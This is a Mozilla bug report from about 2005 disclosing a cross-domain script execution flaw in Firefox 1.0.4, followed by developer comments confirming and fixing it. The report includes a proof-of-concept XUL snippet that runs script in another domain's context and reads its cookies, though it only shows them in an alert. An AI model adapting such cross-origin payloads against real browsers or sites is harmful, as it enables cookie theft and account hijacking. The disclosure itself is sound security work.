Michael Krax Reporter
	Description • 19 years ago

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4

By interfering the unload process of a XUL page with a modal dialog, it is
possible to run javascript code in the context of another domain. This could be
used to steal cookies, etc.

<window
    xmlns:html="http://www.w3.org/1999/xhtml"
    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
    style="border: solid 5px red"
    onclick="alert('We are leaving the xul
page...');location='http://www.google.com';alert('...wait till the new page
loads...');eval('alert(document.location+\'\\n\'+document.cookie);');" >
</window>

This demo is not working when tested with similar HTML code. For some reason the
destruction of XUL pages seems to have a different timing.

The test relies on user interaction, but there is no way to stop the script when
started (because you can only click "ok" in an alert box). Well, you could kill
the browser process before the target page gets loaded.

Reproducible: Always

	Daniel Veditz [:dveditz]
	Comment 1 • 19 years ago

This may or may not be the same as the html bug 296514. I can confirm this one
on both trunk and 1.0.x Firefox, and also in Mozilla 1.7.8. But I could not
reproduce using a 20050419 trunk mozilla build which did reproduce bug 296514 no
problem.

superficially they look like the same testcase though.

	Jay Patel [:jay]
	Comment 2 • 19 years ago

jst:  If you still believe this is a dup after checking in the fix for bug
296514, please mark this fixed as well.  Thanks.

	Chase Phillips
	Comment 3 • 19 years ago

Per 1.0.5 mtg, needs testing on the trunk before we take it on the aviary branch.

	Mike Shaver (:shaver -- probably not reading bugmail closely)
	Comment 4 • 19 years ago

jst: did split-window fix this?  If so, please dup or mark FIXED.

	Johnny Stenback (:jst) Assignee
	Comment 5 • 19 years ago

Yeah, seems fixed, and for what I can understand of this testcase, it really
should be fixed now.

	Johnny Stenback (:jst) Assignee
	Comment 6 • 19 years ago

Fixed on the trunk before we branched for 1.8.

	Daniel Veditz [:dveditz]
	Comment 7 • 19 years ago

This appears to have been fixed by some of the eval changes in either 1.0.5 or 1.0.7 -- need to investigate further.